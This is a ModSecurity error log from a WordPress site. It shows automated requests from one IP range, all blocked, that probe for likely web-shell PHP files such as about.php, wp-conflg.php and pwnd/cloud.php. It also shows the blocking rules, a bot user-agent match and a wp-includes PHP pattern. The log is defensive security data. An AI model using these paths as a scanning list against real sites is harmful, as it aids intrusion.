[Thu Nov 20 21:39:46.529978 2025] [:error] [pid 55340:tid 55358] [client 185.223.152.210:31775] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/js_composer/include/templates/shortcodes/lock.php"] [unique_id "aR8aIvOxD-NeMydTybC--QAAAA0"]
[Thu Nov 20 21:39:47.177752 2025] [:error] [pid 40445:tid 40494] [client 185.223.152.6:32875] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aR8aI1H-MuFcoWRjXpaXlgAAAlM"]
[Thu Nov 20 21:39:47.823775 2025] [:error] [pid 40445:tid 40488] [client 185.223.152.218:63223] [client 185.223.152.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/chosen.php"] [unique_id "aR8aI1H-MuFcoWRjXpaXlwAAAk0"]
[Thu Nov 20 21:39:48.471011 2025] [:error] [pid 34405:tid 34417] [client 185.223.152.206:52199] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "aR8aJDFpvu8oRK7ATftAvQAAAQo"]
[Thu Nov 20 21:39:49.118740 2025] [:error] [pid 55340:tid 55368] [client 185.223.152.210:27191] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/cloud.php"] [unique_id "aR8aJfOxD-NeMydTybC-_AAAABc"]
[Thu Nov 20 21:39:49.767869 2025] [:error] [pid 40508:tid 40515] [client 185.223.152.215:34125] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-content.php"] [unique_id "aR8aJaxXNVCMW_ksxPvfowAAAoU"]
[Thu Nov 20 21:39:50.423697 2025] [:error] [pid 55430:tid 55444] [client 185.223.152.209:50741] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-post-data.php"] [unique_id "aR8aJvPZXaIMEU4pE7sg6gAAAMs"]
[Thu Nov 20 21:39:51.071754 2025] [:error] [pid 40415:tid 40427] [client 185.223.152.219:63861] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aR8aJ6hjIyLSv09svwPQbQAAAck"]
[Thu Nov 20 21:39:51.717261 2025] [:error] [pid 40508:tid 40529] [client 185.223.152.208:31879] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/m.php"] [unique_id "aR8aJ6xXNVCMW_ksxPvfqAAAApM"]
[Thu Nov 20 21:39:52.365240 2025] [:error] [pid 40445:tid 40499] [client 185.223.152.8:30747] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/coffee/colors_26.php"] [unique_id "aR8aKFH-MuFcoWRjXpaXmgAAAlg"]
[Thu Nov 20 21:39:53.012704 2025] [:error] [pid 40445:tid 40490] [client 185.223.152.210:56613] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/"] [unique_id "aR8aKVH-MuFcoWRjXpaXnAAAAk8"]
[Thu Nov 20 21:39:53.667657 2025] [:error] [pid 55342:tid 55382] [client 185.223.152.225:61563] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-backing.php"] [unique_id "aR8aKbg6x32Tvk7fIG8DIQAAAEo"]
[Thu Nov 20 21:39:54.315841 2025] [:error] [pid 40445:tid 40491] [client 185.223.152.204:59369] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/wp-backing.php"] [unique_id "aR8aKlH-MuFcoWRjXpaXnQAAAlA"]
[Thu Nov 20 21:39:54.962700 2025] [:error] [pid 34405:tid 34410] [client 185.223.152.217:22653] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope.php"] [unique_id "aR8aKjFpvu8oRK7ATftAwQAAAQM"]
[Thu Nov 20 21:39:55.609507 2025] [:error] [pid 40445:tid 40477] [client 185.223.152.213:56937] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/acxx.php"] [unique_id "aR8aK1H-MuFcoWRjXpaXngAAAkI"]
[Thu Nov 20 21:39:56.256781 2025] [:error] [pid 40415:tid 40438] [client 185.223.152.221:58233] [client 185.223.152.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/modern/about.php"] [unique_id "aR8aLKhjIyLSv09svwPQbwAAAdQ"]
[Thu Nov 20 21:39:56.904698 2025] [:error] [pid 34405:tid 34431] [client 185.223.152.212:52353] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/class-ftp.php"] [unique_id "aR8aLDFpvu8oRK7ATftAxQAAARg"]
[Thu Nov 20 21:39:57.592438 2025] [:error] [pid 40415:tid 40441] [client 185.223.152.205:26817] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/about.php"] [unique_id "aR8aLahjIyLSv09svwPQcQAAAdc"]
[Thu Nov 20 21:39:58.240340 2025] [:error] [pid 55340:tid 55353] [client 185.223.152.225:51783] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/akismet/_inc/img/about.php"] [unique_id "aR8aLvOxD-NeMydTybC-_gAAAAg"]
[Thu Nov 20 21:39:58.885831 2025] [:error] [pid 55342:tid 55383] [client 185.223.152.217:53371] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/call-now-button/src/about.php"] [unique_id "aR8aLrg6x32Tvk7fIG8DJAAAAEs"]
[Thu Nov 20 21:39:59.578881 2025] [:error] [pid 40537:tid 40564] [client 185.223.152.216:39953] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wordpress-seo/about.php"] [unique_id "aR8aL6KlsL5kxTa3c1wAgQAAAtc"]
[Thu Nov 20 21:40:00.255085 2025] [:error] [pid 40415:tid 40433] [client 185.223.152.224:46797] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wordpress-seo/admin/pages/about.php"] [unique_id "aR8aMKhjIyLSv09svwPQdgAAAc8"]
[Thu Nov 20 21:40:01.112921 2025] [:error] [pid 40636:tid 40664] [client 185.223.152.208:48269] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-mail-smtp/assets/about.php"] [unique_id "aR8aMQK8BWUoW3xq0HAssQAAA5g"]
[Thu Nov 20 21:40:01.785163 2025] [:error] [pid 40508:tid 40510] [client 185.223.152.208:31707] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-optimize/vendor/mrclay/minify/static/about.php"] [unique_id "aR8aMaxXNVCMW_ksxPvfwwAAAoA"]
[Thu Nov 20 21:40:02.441896 2025] [:error] [pid 40415:tid 40422] [client 185.223.152.226:46613] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-smushit/_src/js/common/about.php"] [unique_id "aR8aMqhjIyLSv09svwPQegAAAcQ"]
[Thu Nov 20 21:40:03.095838 2025] [:error] [pid 40445:tid 40484] [client 185.223.152.223:29947] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-smushit/core/modules/background/about.php"] [unique_id "aR8aM1H-MuFcoWRjXpaXowAAAkk"]
[Thu Nov 20 21:40:03.742163 2025] [:error] [pid 34405:tid 34428] [client 185.223.152.204:26827] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/about.php"] [unique_id "aR8aMzFpvu8oRK7ATftAxwAAARU"]
[Thu Nov 20 21:40:04.391163 2025] [:error] [pid 55430:tid 55451] [client 185.223.152.204:22031] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/inc/blog/about.php"] [unique_id "aR8aNPPZXaIMEU4pE7sg8wAAANI"]
[Thu Nov 20 21:40:05.040403 2025] [:error] [pid 40445:tid 40483] [client 185.223.152.8:53753] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/template-parts/advanced-footer/about.php"] [unique_id "aR8aNVH-MuFcoWRjXpaXpgAAAkg"]
[Thu Nov 20 21:40:05.686398 2025] [:error] [pid 40445:tid 40491] [client 185.223.152.205:25727] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/wp-login.php"] [unique_id "aR8aNVH-MuFcoWRjXpaXpwAAAlA"]
[Thu Nov 20 21:40:06.334633 2025] [:error] [pid 55340:tid 55354] [client 185.223.152.208:53547] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/paradox/option-tree/assets/js/vendor/jquery/about.php"] [unique_id "aR8aNvOxD-NeMydTybC_AQAAAAk"]
[Thu Nov 20 21:40:06.982812 2025] [:error] [pid 40445:tid 40479] [client 185.223.152.211:60853] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/fonts/roboto-slab/about.php"] [unique_id "aR8aNlH-MuFcoWRjXpaXrQAAAkQ"]
[Thu Nov 20 21:40:07.628980 2025] [:error] [pid 40508:tid 40533] [client 185.223.152.6:25967] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wpseo-import/about.php"] [unique_id "aR8aN6xXNVCMW_ksxPvfyAAAApc"]
[Thu Nov 20 21:40:08.274834 2025] [:error] [pid 34405:tid 34427] [client 185.223.152.222:28651] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Cookie/about.php"] [unique_id "aR8aODFpvu8oRK7ATftAyQAAARQ"]
[Thu Nov 20 21:40:08.922485 2025] [:error] [pid 40636:tid 40662] [client 185.223.152.210:24527] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Proxy/about.php"] [unique_id "aR8aOAK8BWUoW3xq0HAssgAAA5Y"]
[Thu Nov 20 21:40:09.576093 2025] [:error] [pid 40445:tid 40484] [client 185.223.152.206:44707] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Utility/about.php"] [unique_id "aR8aOVH-MuFcoWRjXpaXsgAAAkk"]
[Thu Nov 20 21:40:10.223048 2025] [:error] [pid 40537:tid 40544] [client 185.223.152.213:31165] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comment-date/about.php"] [unique_id "aR8aOqKlsL5kxTa3c1wAggAAAsM"]
[Thu Nov 20 21:40:10.869710 2025] [:error] [pid 55343:tid 55405] [client 185.223.152.7:56087] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comments-pagination-numbers/about.php"] [unique_id "aR8aOlWlO3EnyVMV7w7RtQAAAIY"]
[Thu Nov 20 21:40:11.518072 2025] [:error] [pid 40508:tid 40513] [client 185.223.152.221:32387] [client 185.223.152.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comments-title/about.php"] [unique_id "aR8aO6xXNVCMW_ksxPvf0AAAAoM"]
[Thu Nov 20 21:40:12.164906 2025] [:error] [pid 40537:tid 40562] [client 185.223.152.209:37629] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/image/about.php"] [unique_id "aR8aPKKlsL5kxTa3c1wAgwAAAtU"]
[Thu Nov 20 21:40:12.811856 2025] [:error] [pid 40445:tid 40486] [client 185.223.152.8:36997] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/latest-posts/about.php"] [unique_id "aR8aPFH-MuFcoWRjXpaXuAAAAks"]
[Thu Nov 20 21:40:13.458297 2025] [:error] [pid 40508:tid 40519] [client 185.223.152.209:35597] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/more/about.php"] [unique_id "aR8aPaxXNVCMW_ksxPvf1QAAAok"]
[Thu Nov 20 21:40:14.104652 2025] [:error] [pid 40508:tid 40518] [client 185.223.152.213:20747] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/page-list-item/about.php"] [unique_id "aR8aPqxXNVCMW_ksxPvf1gAAAog"]
[Thu Nov 20 21:40:14.751611 2025] [:error] [pid 55430:tid 55449] [client 185.223.152.219:32955] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/site-title/about.php"] [unique_id "aR8aPvPZXaIMEU4pE7sg9AAAANA"]
[Thu Nov 20 21:40:15.398282 2025] [:error] [pid 40445:tid 40484] [client 185.223.152.213:41467] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/components/index.php"] [unique_id "aR8aP1H-MuFcoWRjXpaXvQAAAkk"]
[Thu Nov 20 21:40:16.046641 2025] [:error] [pid 55430:tid 55442] [client 185.223.152.213:45921] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/about.php"] [unique_id "aR8aQPPZXaIMEU4pE7sg9gAAAMk"]
[Thu Nov 20 21:40:16.804999 2025] [:error] [pid 40445:tid 40486] [client 185.223.152.204:55229] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/wptextpattern/about.php"] [unique_id "aR8aQFH-MuFcoWRjXpaXwQAAAks"]
[Thu Nov 20 21:40:17.452884 2025] [:error] [pid 40445:tid 40482] [client 185.223.152.211:34405] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/wp-login.php"] [unique_id "aR8aQVH-MuFcoWRjXpaXwwAAAkc"]
[Thu Nov 20 21:40:18.106211 2025] [:error] [pid 40415:tid 40420] [client 185.223.152.211:31195] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/av.php"] [unique_id "aR8aQqhjIyLSv09svwPQhQAAAcI"]
[Thu Nov 20 21:40:18.751469 2025] [:error] [pid 55340:tid 55366] [client 185.223.152.225:26691] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/namespaced/Core/about.php"] [unique_id "aR8aQvOxD-NeMydTybC_CQAAABU"]
[Thu Nov 20 21:40:19.400180 2025] [:error] [pid 55343:tid 55420] [client 185.223.152.7:29985] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/new.php"] [unique_id "aR8aQ1WlO3EnyVMV7w7RuAAAAJU"]
